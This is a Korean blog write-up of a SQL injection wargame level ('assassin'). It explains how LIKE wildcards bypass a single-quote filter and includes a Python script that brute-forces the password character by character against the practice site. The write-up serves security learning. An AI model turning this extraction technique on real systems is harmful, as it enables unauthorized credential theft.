[LOS] Level14: assassin

두비니

·

2020. 1. 12. 22:56

 

Lord OSQLInjection: lv.14 assassin

 

 

 

 

 

 

assassin입니다.

 

보면 싱글쿼리가 걸러지고 있네요. 이걸보고 싱글쿼리를 우회할 방법을 찾고 있었는데, 결국 찾지 못했습니다... 

 

그래서 = 대신 쓰인 like를 보았습니다.

보아하니 like의 옵션 중 %와 _가 있더라구요(정확하게는 와일드카드라고 합니다)

%는 해당하는 문자열이 포함된 모든 db중 첫 번째 db를 출력해주고, (linux의 *과 느낌 비슷함)

_는 해당하는 문자열이 정확히 포함된 db를 출력해줍니다.

글로는 알기 힘드니 예시로 봅시다.

 

 

A% : 'A'로 시작하는 모든 문자열

%A% : 'A'가 포함된 모든 문자열

_A% : 두 번째 문자가 'A'인 모든 문자열

 

 

참고로 와일드카드중에 [](범위 정해주는거)도 있던데 왠지는 모르겠지만 안먹히더라구요... 

 

무슨 느낌인지 오시죠?

 

물론 부르트포싱을 통해 모든 경우의 수를 보는 경우도 있겠지만,

잔머리를 굴려봅시다.

 

id pw
guest 1234pwd
admin 1364pss

 

db가 대충 이런식으로 되어있겠죠? 왜냐하면 %만  입력하면 이렇게 되거든요.

 

 

 

 

%는 위에 말했다시피 linux의 *과 같아서(모든 걸 출력)

제일 위에있는 애를 출력해줄텐데 guest를 출력해주네요.

어차피 이 db안에는 guest랑 admin밖에 없을테니 그냥 때려넣기를 시작했습니다.

 

 

 

 

그냥 하다보니 됐네요.

 

 

혹시몰라 브루트포싱하는것도 코드를 짜보았습니다.

 

import httplib

headers= {'Content-Type':'application/x-www-form-urlencoded', 'Cookie':'PHPSESSID=2sd53l2hdkgejvitu3j0fboapr'}
conn= httplib.HTTPSConnection('los.rubiya.kr', 443)
pw=''
for i in range(1, 10):
    for j in range(48, 128):
        conn.request('GET', '/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw='+pw+chr(j)+'%','',headers)
        r1 = conn.getresponse().read()
        if "Hello guest" in r1:
            print 'guest: '+chr(j)
            pw += chr(j)
            break
        elif "Hello admin"in r1:
            print 'admin: '+chr(j)
            pw += chr(j)
            break
    print pw

 

 

 

 

쟈라란 그래서 902%가 풀렸네요

추가로 볼 점은 90까지는 guest의 비밀번호로 풀리다가 2부터는 admin의 비밀번호와 같아서 admin의 비밀번호로 출력되었네요.(guessing으로 푼 게 이해!)

 

혹시라도 guest의 비밀번호가 901...의 식이여서 모두 guest의 비밀번호로 나온다면 첫번째 글자부터 a부터 다시 찾아보는 식으로 찾아보아야겠네요. 그건 그런 문제를 만나면 해보는걸로!

 

 

'War Games > Lord of SQLInjection' 카테고리의 다른 글

[LOS] Level16: zombie_assassin  (0) 2020.01.14
[LOS] Level15: succubus  (0) 2020.01.13
[LOS] Level13: giant  (0) 2020.01.11
[LOS] Level11: darkknight  (0) 2020.01.09
[LOS] Level10: golem  (0) 2020.01.08